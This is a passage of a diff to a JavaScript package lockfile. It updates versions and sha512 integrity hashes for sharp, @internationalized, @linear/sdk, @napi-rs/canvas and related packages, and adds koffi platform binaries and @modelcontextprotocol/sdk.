"os": "linux", "cpu": "arm64" }, "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw=="], + "@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.3.4", "", { "os": "linux", "cpu": "x64" }, "sha512-GJ//SSXbnwSDes02umB3nDJLFcQzw8a18V8fyhqr6tV515tOEMdImjjxj1AoafMRz56F3PHgftnj1QEKSU1zkw=="], - "@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg=="], + "@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.3.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-hvulFwtjUcagsis6BBxHwGFwWoNZjgYmULGVrZcyfNbjA8hKILbRxGg15/7w5HDyXHXUos/j6baAWqnCyQ2DWA=="], - "@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.2.4" }, "os": "linux", "cpu": "arm" }, "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw=="], + "@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.3.4", "", { "os": "linux", "cpu": "x64" }, "sha512-6zXKeE/p39I1AmA3cJG35eyBGNqNddLnUXjhwBnsGjFPWqf5VKkDBEqaEkPDoTEtkxwi2vv8Tcr2mDyP4So7Fg=="], - "@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg=="], + "@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.3.4" }, "os": "linux", "cpu": "arm" }, "sha512-LEaXK2WdXVK5ykcw0buWyPMsmLLL2vpHLD6yrNSW+JGEL3BZPA4tpKN6iaMc4AxTTAoaX/sU1rOL51lcIz48ZQ=="], - "@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.2.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA=="], + "@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.3.4" }, "os": "linux", "cpu": "arm64" }, "sha512-LYVx5JTsOM2CBzmxreh+nl64/3H6Xb09iSLknqH47z2T2DFFxDeFLP5y4dJwe6H7uGQlHPyEEtIqyo3DYsRwdQ=="], - "@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.2.4" }, "os": "linux", "cpu": "none" }, "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw=="], + "@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.3.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-QVxAAq8evVRI9ia2vqgwrmWucn5Dfv+JdWzj75pD8omHLPSP7f8p20O8jxzjCcuCEQEOtYOZUmX1hkiZ0kdevA=="], - "@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.2.4" }, "os": "linux", "cpu": "s390x" }, "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg=="], + "@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.3.4" }, "os": "linux", "cpu": "none" }, "sha512-LtdreXguaavKODPIfzJ4kffx7UNt1omwtK0rch4EBbbSTXPnxWmYSayXdLJw0fJzQ97kHt1gL/yh4tvU+nCyRQ=="], - "@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ=="], + "@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.3.4" }, "os": "linux", "cpu": "s390x" }, "sha512-UZasTOFiYzotTsGOCu42BfUzP6Tu6Do/947iRm1RsLKvlllxwGcn4RN27LibGWceix4Y+Pmw3jsnTcCQIgWjqA=="], - "@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg=="], + "@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.3.4" }, "os": "linux", "cpu": "x64" }, "sha512-SxFtLTeJInhAA9Q836kux2vZNeOBQEx658qvbboZScr0wIARym3IcGmW7KpVD5sbVg0Ojy+udFQdayYIZyoNog=="], - "@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q=="], + "@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.3.4" }, "os": "linux", "cpu": "arm64" }, "sha512-9HbMclmI1zlNkFRs3z9/eBtDjfD0sGlrX1z6b1qwmiFY5ElDLh4BC0LPBdVp7z1DXFiKlIcznf+ZlsuZzLxQqg=="], - "@img/sharp-wasm32": ["@img/sharp-wasm32@0.34.5", "", { "dependencies": { "@emnapi/runtime": "^1.7.0" }, "cpu": "none" }, "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw=="], + "@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.3.4" }, "os": "linux", "cpu": "x64" }, "sha512-4KOphqB035HrVdqLZfCgMzzERrQkkzOwRhl4OAkRO1YCldbaFjySXMaK534Mo0V+LndnlJk+sbUyLeU0ULyD1A=="], - "@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.34.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g=="], + "@img/sharp-wasm32": ["@img/sharp-wasm32@0.35.5", "", { "dependencies": { "@emnapi/runtime": "^1.11.3" } }, "sha512-Ptsga1su4tQx+LLF1ECS9U6nz5kmrXKo6XVbtR48Ke3ZRxxgaWBu7IDtEe1quo8hiupwm6WFqxVlXaSf7IINGQ=="], - "@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.34.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg=="], + "@img/sharp-webcontainers-wasm32": ["@img/sharp-webcontainers-wasm32@0.35.5", "", { "dependencies": { "@img/sharp-wasm32": "0.35.5" }, "cpu": "none" }, "sha512-hfhF/FmoQyTUkA0bIKFOtw536BQSeBMe6BF6QyWlrPxT754+TFLaZ7sKKTfvvM0yJgKgaYTwnFCIZ/GuDw5SUA=="], - "@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.34.5", "", { "os": "win32", "cpu": "x64" }, "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw=="], + "@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.35.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-X4t7g+7ZA5DKblCBEXGjUqqemj4vczING/5viFwAL8h4N3qYeyjwdCvRLHi4EdOUI+2Z7UFlp1VM+p/AuEtm6Q=="], - "@internationalized/date": ["@internationalized/date@3.12.0", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-/PyIMzK29jtXaGU23qTvNZxvBXRtKbNnGDFD+PY6CZw/Y8Ex8pFUzkuCJCG9aOqmShjqhS9mPqP6Dk5onQY8rQ=="], + "@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.35.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-5Zm82LoBc43nhwNybZlG7Y1KO//Zhsn306fQl29ZOuStHLGTo3BWL83q3cznX0poxSAMuYL1On/BHBxkBeKr6A=="], - "@internationalized/message": ["@internationalized/message@3.1.8", "", { "dependencies": { "@swc/helpers": "^0.5.0", "intl-messageformat": "^10.1.0" } }, "sha512-Rwk3j/TlYZhn3HQ6PyXUV0XP9Uv42jqZGNegt0BXlxjE6G3+LwHjbQZAGHhCnCPdaA6Tvd3ma/7QzLlLkJxAWA=="], + "@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.35.5", "", { "os": "win32", "cpu": "x64" }, "sha512-x76eH0vEiHlcMQu8Y8IenntaACtddpT6W0wmXtWrnKcnKI7ME5DdgqhAD6SEWOEl1v2zDvkZDhFA9KnURwpfqg=="], - "@internationalized/number": ["@internationalized/number@3.6.5", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-6hY4Kl4HPBvtfS62asS/R22JzNNy8vi/Ssev7x6EobfCp+9QIB2hKvI2EtbdJ0VSQacxVNtqhE/NmF/NZ0gm6g=="], + "@internationalized/date": ["@internationalized/date@3.12.4", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-M1dEn4c1U1HsSlaVR8upZtSqvXrTkHDfv18H01uCSJyjVLDxnBR38v/fMxecmlwXKR4i9HeZcmgQAPE6A+aGJQ=="], - "@internationalized/string": ["@internationalized/string@3.2.7", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-D4OHBjrinH+PFZPvfCXvG28n2LSykWcJ7GIioQL+ok0LON15SdfoUssoHzzOUmVZLbRoREsQXVzA6r8JKsbP6A=="], + "@internationalized/number": ["@internationalized/number@3.6.8", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-8UmMFia46DUt+k97zKd9fKWXcWHR+k8ae3eYzILETuT2KbIvLyOfac7zesw+sJdRAAZ7Q9pM1Mk22aXp2LD0Ig=="], + + "@internationalized/string": ["@internationalized/string@3.2.10", "", { "dependencies": { "@swc/helpers": "^0.5.0" } }, "sha512-PDx6//vHSpRnHfxqMqto11zQvhsaU74O3mKv2F/0eicGZcl9NLjQmGlbHz/LsJh5tLKp4A4L7ZVTzN1/MmMTvA=="], "@isaacs/cliui": ["@isaacs/cliui@8.0.2", "", { "dependencies": { "string-width": "^5.1.2", "string-width-cjs": "npm:string-width@^4.2.0", "strip-ansi": "^7.0.1", "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", "wrap-ansi": "^8.1.0", "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" } }, "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA=="], @@ -457,7 +479,43 @@ "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], - "@linear/sdk": ["@linear/sdk@77.0.0", "", { "dependencies": { "@graphql-typed-document-node/core": "^3.2.0" } }, "sha512-pI7ZNh/UZF12JoVhCi8tdubYnCp2DJ1hkraMA+kDyYqjU+elKOVd5yAdN/SoAR17V7Kg8dtDabgArjknvUnQSA=="], + "@koromix/koffi-android-arm64": ["@koromix/koffi-android-arm64@3.2.1", "", { "os": "android", "cpu": "arm64" }, "sha512-1pJQ4jnZlUJduK9u9DC5CGy3aOgDUPvIXpNb6syV3+Dh5Q/ugezAIGCqvY+w+1mgXsve0pd0NVvJRjdZNHQ6MA=="], + + "@koromix/koffi-android-x64": ["@koromix/koffi-android-x64@3.2.1", "", { "os": "android", "cpu": "x64" }, "sha512-HH40xGh3gVQifjOBnhwT2tECC0lL1lYe+nxHvWNSzxDIyQNcVPXg38ta7vuONRFpD+uIrw7fqGYLzbZIagkVcg=="], + + "@koromix/koffi-darwin-arm64": ["@koromix/koffi-darwin-arm64@3.2.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Vj4h+xcjc5+Cn0DhPHjgRX4omKAv96Kehtcd+1YgYuY2W7FvQn9vS+3SmzVwhC5Qmg9bIwUZObYQ8T/4hBqQqA=="], + + "@koromix/koffi-darwin-x64": ["@koromix/koffi-darwin-x64@3.2.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-gFCWxNBTZIvxo1p+PURWfsy2Ctj5FGnVVs1f03lTLhBvmxEto70pdIiFztdFLDFkAJ1pmtQmruRKapeK+E8YPA=="], + + "@koromix/koffi-freebsd-arm64": ["@koromix/koffi-freebsd-arm64@3.2.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-qj+f1s2e6vULaUG1cdlTcCXmunCq2t+rjxku1+esaMIqVnHpOwj0QzPuInG0AFdXjwBNQhyVR/HpDj8daEwwsQ=="], + + "@koromix/koffi-freebsd-ia32": ["@koromix/koffi-freebsd-ia32@3.2.1", "", { "os": "freebsd", "cpu": "ia32" }, "sha512-6olHb1Qfgai0jjs6ddlDDD0ZfsCxy7SPi8rMRpuYQWH0qhgtyQu82hw5b1p7z+TJ0zZP3ZeQQ6l+U/MlM1ICHQ=="], + + "@koromix/koffi-freebsd-x64": ["@koromix/koffi-freebsd-x64@3.2.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Dikhw1ySYNVMkmeFvFVjnU5Wdk6mffNoOjJxm9bTG96vg7OlemylxqdEven47R1YJ3yzNVJn/MlQ207ORWfi2w=="], + + "@koromix/koffi-linux-arm": ["@koromix/koffi-linux-arm@3.2.1", "", { "os": "linux", "cpu": "arm" }, "sha512-OfwUwZylidq95wQKp6ClInULrfB2giu7dqM6Rhe0zAe6lES5I2SXNw15T9+GnRHk3/9hKT2XZ37OZLaKSyWNLA=="], + + "@koromix/koffi-linux-arm64": ["@koromix/koffi-linux-arm64@3.2.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-K+cGUL5iBcDqxmsocrjmlASqDf24gc7artbVW3PewG2c9AqwC63lezgwvB85Nx4lZAQjB6zIFHh9A7t1yGbwhw=="], + + "@koromix/koffi-linux-ia32": ["@koromix/koffi-linux-ia32@3.2.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-rxj6UYjU1qd98gxNQOSCdLpc5cPRi5Giq9rNd3jnGuSNIyMkwa6Dxw4cUjmhIBCYESMJtmNt5NWnJp5u9wTfYQ=="], + + "@koromix/koffi-linux-loong64": ["@koromix/koffi-linux-loong64@3.2.1", "", { "os": "linux", "cpu": "none" }, "sha512-aHhnHzkPRmT/IHDlGvESJ/Bs32m8N6UE6Ab6kMeJzgk74IN8af2m/81/wZJtybR1M2UxCV4NmlVNUYQQvSAO3Q=="], + + "@koromix/koffi-linux-riscv64": ["@koromix/koffi-linux-riscv64@3.2.1", "", { "os": "linux", "cpu": "none" }, "sha512-qtQBsjbm3LiirLJvajWmKkNb7ARk7fvJVXdftJ7NtAnF3Xw8EbDvrtvmvtNI1yLPlYcBmlzCCD71hwhWYk0SIA=="], + + "@koromix/koffi-linux-x64": ["@koromix/koffi-linux-x64@3.2.1", "", { "os": "linux", "cpu": "x64" }, "sha512-c7hw7Qs/r5gnFRTQLcbifBwRU7wiocj+2pVuDQ5Ahb3r36SZmupmgYbTWcLvTW+hul1jd7SKRV0d14ZJq/tvSw=="], + + "@koromix/koffi-openbsd-ia32": ["@koromix/koffi-openbsd-ia32@3.2.1", "", { "os": "openbsd", "cpu": "ia32" }, "sha512-mmY8fY8LQ/CB52+h3yrMYmVyoxzW3x08S0yI6VNfHWdfU6yJtZkKCbhjmQCYMrWbYKC4gMvwZwCywIGPAkLyeA=="], + + "@koromix/koffi-openbsd-x64": ["@koromix/koffi-openbsd-x64@3.2.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-k4ig6aAPbFSRATOIIOfdf/KtlOGH4SVls6L9fy0QnTxRJYvY2oSltTsQtBDANgEQldlq8Kl5WnpRa1VSibP4Lw=="], + + "@koromix/koffi-win32-arm64": ["@koromix/koffi-win32-arm64@3.2.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-cTWBJGK//pDMeKQJE/79Aq9MiOAF4H8QyLZHSQ9IWm8czOfwjG4J1AhsQ9DjI9KFOykH77hhnpmQTGVMIubGig=="], + + "@koromix/koffi-win32-ia32": ["@koromix/koffi-win32-ia32@3.2.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-Z50EM6TAZ7CFyMmyX6thv8eNpJchqe9eenhibSIy2Eq/FQYF76gU2VK/LEoaF46L8hfC7TpTp9b10MvReHEyFA=="], + + "@koromix/koffi-win32-x64": ["@koromix/koffi-win32-x64@3.2.1", "", { "os": "win32", "cpu": "x64" }, "sha512-ZmZNiBO6bkOSh3QNzgfvb1cMY0yMobn6ZQrSMqbAce21qyYL8niIbyipz9N/PIRDciGhsV0wUxnZsxIO+yWsHQ=="], + + "@linear/sdk": ["@linear/sdk@97.0.0", "", { "dependencies": { "@graphql-typed-document-node/core": "^3.2.0" } }, "sha512-ntgZI06I37DTp/XULYTPbOg1t7vJRo72JRSkMjdgG+GbUEHdSkYsUjN0dR42go/2LvLRKWJD3jVehm0wE5haEg=="], "@malept/cross-spawn-promise": ["@malept/cross-spawn-promise@2.0.0", "", { "dependencies": { "cross-spawn": "^7.0.1" } }, "sha512-1DpKU0Z5ThltBwjNySMC14g0CkbyhCaz9FkhxqNsZI6uAPJXFS8cMXlBKo26FJ8ZuW6S9GCMcR9IO5k2X5/9Fg=="], @@ -465,53 +523,55 @@ "@mixmark-io/domino": ["@mixmark-io/domino@2.2.0", "", {}, "sha512-Y28PR25bHXUg88kCV7nivXrP2Nj2RueZ3/l/jdx6J9f8J4nsEGcgX0Qe6lt7Pa+J79+kPiJU3LguR6O/6zrLOw=="], - "@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.4.6", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-y+x3H1xBZd38n10NZF/rEBlvDOOMQ6LKUTHqr8R9VkJ+mmQOYtJFxIlkkK8fZrtOiL6VixbOBWMbZGBdal3Z1g=="], + "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.32.1", "", { "dependencies": { "@hono/node-server": "^1.19.9 || ^2.0.5", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-2DdE+SJDtzLEEWzY1ZjY7Q+VcPhcV1KisD3zI4u0XZyktsjHum1mwbMI+JaulUBi2OZk+KJAi2uPXzxichPkdw=="], + + "@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.6.0", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-19jGXfpctLDJUELLUZGJ5BllcLT7rHdF+gTTaN2jzqu0bGkUhpdcYtgK2Vux+g3zuBAa0TM/W666QMIjYhYujw=="], - "@napi-rs/canvas": ["@napi-rs/canvas@0.1.97", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.97", "@napi-rs/canvas-darwin-arm64": "0.1.97", "@napi-rs/canvas-darwin-x64": "0.1.97", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.97", "@napi-rs/canvas-linux-arm64-gnu": "0.1.97", "@napi-rs/canvas-linux-arm64-musl": "0.1.97", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.97", "@napi-rs/canvas-linux-x64-gnu": "0.1.97", "@napi-rs/canvas-linux-x64-musl": "0.1.97", "@napi-rs/canvas-win32-arm64-msvc": "0.1.97", "@napi-rs/canvas-win32-x64-msvc": "0.1.97" } }, "sha512-8cFniXvrIEnVwuNSRCW9wirRZbHvrD3JVujdS2P5n5xiJZNZMOZcfOvJ1pb66c7jXMKHHglJEDVJGbm8XWFcXQ=="], + "@napi-rs/canvas": ["@napi-rs/canvas@0.1.100", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.100", "@napi-rs/canvas-darwin-arm64": "0.1.100", "@napi-rs/canvas-darwin-x64": "0.1.100", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.100", "@napi-rs/canvas-linux-arm64-gnu": "0.1.100", "@napi-rs/canvas-linux-arm64-musl": "0.1.100", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.100", "@napi-rs/canvas-linux-x64-gnu": "0.1.100", "@napi-rs/canvas-linux-x64-musl": "0.1.100", "@napi-rs/canvas-win32-arm64-msvc": "0.1.100", "@napi-rs/canvas-win32-x64-msvc": "0.1.100" } }, "sha512-xglYA6q3XO5P3BNJYxVZ1IV7DLVjp1Py6nwag88YntrS+3vKHyYcMqXVS4ZztJmwz2uGvz1FWhI/4LgbR5uQDA=="], - "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.97", "", { "os": "android", "cpu": "arm64" }, "sha512-V1c/WVw+NzH8vk7ZK/O8/nyBSCQimU8sfMsB/9qeSvdkGKNU7+mxy/bIF0gTgeBFmHpj30S4E9WHMSrxXGQuVQ=="], + "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.100", "", { "os": "android", "cpu": "arm64" }, "sha512-hjhCKhntPv9+t4ckHymdx0phYNcVW+GKQR6Lzw2zE+pOVjOplSmtx9nNNknTjbEDLcuLZqA1y8ufKg1XfgftzQ=="], - "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.97", "", { "os": "darwin", "cpu": "arm64" }, "sha512-ok+SCEF4YejcxuJ9Rm+WWunHHpf2HmiPxfz6z1a/NFQECGXtsY7A4B8XocK1LmT1D7P174MzwPF9Wy3AUAwEPw=="], + "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.100", "", { "os": "darwin", "cpu": "arm64" }, "sha512-2PcswRaC7Ly645DGt88///zuFDhJxJYdKAs1uU3mfk1atYkXufgcgLfBpk6Tm12nCQBaNt1wpybuPZ4qOhTo8A=="], - "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.97", "", { "os": "darwin", "cpu": "x64" }, "sha512-PUP6e6/UGlclUvAQNnuXCcnkpdUou6VYZfQOQxExLp86epOylmiwLkqXIvpFmjoTEDmPmXrI+coL/9EFU1gKPA=="], + "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.100", "", { "os": "darwin", "cpu": "x64" }, "sha512-ePNZtj7pNIva/siZMg+HmbeozkIjqUIYdoymH8HaA3qK7LfzFN4WMBM8G6HQ9ZC+H3+Dnn5pqtiXpgLykaPOhw=="], - "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.97", "", { "os": "linux", "cpu": "arm" }, "sha512-XyXH2L/cic8eTNtbrXCcvqHtMX/nEOxN18+7rMrAM2XtLYC/EB5s0wnO1FsLMWmK+04ZSLN9FBGipo7kpIkcOw=="], + "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.100", "", { "os": "linux", "cpu": "arm" }, "sha512-d5cDB48oWFGU8/XPhUOFAlySgb/VAu7D+s8fi55K1Pcfg8aPplHWqMgibhVLU8ky7Pyg/fuiVLz4Nf3JrSTuUA=="], - "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.97", "", { "os": "linux", "cpu": "arm64" }, "sha512-Kuq/M3djq0K8ktgz6nPlK7Ne5d4uWeDxPpyKWOjWDK2RIOhHVtLtyLiJw2fuldw7Vn4mhw05EZXCEr4Q76rs9w=="], + "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.100", "", { "os": "linux", "cpu": "arm64" }, "sha512-rDxgxRu69RvDlX/bh9o22DxLsGr8EqsNgotL9+RwQE1S0b0cqeatqsw6aW45mukm0B42DIAaAacKaYQ8cqS1nw=="], - "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.97", "", { "os": "linux", "cpu": "arm64" }, "sha512-kKmSkQVnWeqg7qdsiXvYxKhAFuHz3tkBjW/zyQv5YKUPhotpaVhpBGv5LqCngzyuRV85SXoe+OFj+Tv0a0QXkQ=="], + "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.100", "", { "os": "linux", "cpu": "arm64" }, "sha512-K3mDW66N+xT2/V439u1alFANiBUjdEx2gLiNYnCmUsva5jZMxWTjafBYwTzYK+EMFMHrUoabuU+T1BIP5CgbYQ=="], - "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.97", "", { "os": "linux", "cpu": "none" }, "sha512-Jc7I3A51jnEOIAXeLsN/M/+Z28LUeakcsXs07FLq9prXc0eYOtVwsDEv913Gr+06IRo34gJJVgT0TXvmz+N2VA=="], + "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.100", "", { "os": "linux", "cpu": "none" }, "sha512-mooqUBTIsccZpnoQC4NgrC1v6C1vof39etLNMnBwCY+p0gajWJvAHLGQ6g/gGyS5YrpDW+GefSN4+Cvcr08UWw=="], - "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.97", "", { "os": "linux", "cpu": "x64" }, "sha512-iDUBe7AilfuBSRbSa8/IGX38Mf+iCSBqoVKLSQ5XaY2JLOaqz1TVyPFEyIck7wT6mRQhQt5sN6ogfjIDfi74tg=="], + "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.100", "", { "os": "linux", "cpu": "x64" }, "sha512-1eCvkDCazm7FFhsT7DfGOdSaHgZVK3bt/dSBl5EWHOWmnz+I7j8tPseJqqD81NF+MH21jKUK4wQSDjN0mdhnTg=="], - "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.97", "", { "os": "linux", "cpu": "x64" }, "sha512-AKLFd/v0Z5fvgqBDqhvqtAdx+fHMJ5t9JcUNKq4FIZ5WH+iegGm8HPdj00NFlCSnm83Fp3Ln8I2f7uq1aIiWaA=="], + "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.100", "", { "os": "linux", "cpu": "x64" }, "sha512-20arT6lnI19S68qNlii73TSEDbECNgzMz2EpldC1V3mZFuRkeujXkcebRk0LRJe9SEUAooYiLokfMViY8IX7yA=="], - "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.97", "", { "os": "win32", "cpu": "arm64" }, "sha512-u883Yr6A6fO7Vpsy9YE4FVCIxzzo5sO+7pIUjjoDLjS3vQaNMkVzx5bdIpEL+ob+gU88WDK4VcxYMZ6nmnoX9A=="], + "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.100", "", { "os": "win32", "cpu": "arm64" }, 